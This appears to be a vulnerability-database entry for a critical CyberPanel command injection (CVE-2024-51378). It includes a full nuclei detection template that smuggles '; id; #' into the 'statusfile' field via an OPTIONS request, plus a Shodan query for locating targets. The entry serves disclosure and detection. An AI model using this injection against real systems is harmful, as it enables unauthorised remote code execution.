HexBrain

Browse / CVEs / CVE-2024-51378

CVE-2024-51378· CyberPanel· CWE-78

CyberPanel - Command Injection

Exploited in the wild. Listed by CISA on 2024-12-04; known to be used by ransomware.

criticalseverity
9.8CVSS score
94.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.

Impact

Attackers can exploit this vulnerability to compromise system security and integrity.

Fix

Apply the latest security patches and updates to address this vulnerability.

How to confirm it

Send: GET / ; OPTIONS /{{path}}
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-51378 -u <target>

The full check
id: CVE-2024-51378

info:
  name: CyberPanel - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/
    - https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51378
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51378
    cwe-id: CWE-78
    epss-score: 0.94748
    epss-percentile: 0.99858
    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    product: CyberPanel
    shodan-query: html:"CyberPanel"
    fofa-query: app="CyberPanel"
  tags: cve,cve2024,cyberpanel,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        OPTIONS /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Csrftoken: {{csrftoken}}

        {"statusfile": "; id; #"}

    payloads:
      path:
        - "ftp/getresetstatus"
        - "dns/getresetstatus"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
          - 'requestStatus":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - "csrftoken=([a-zA-Z0-9]+)"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from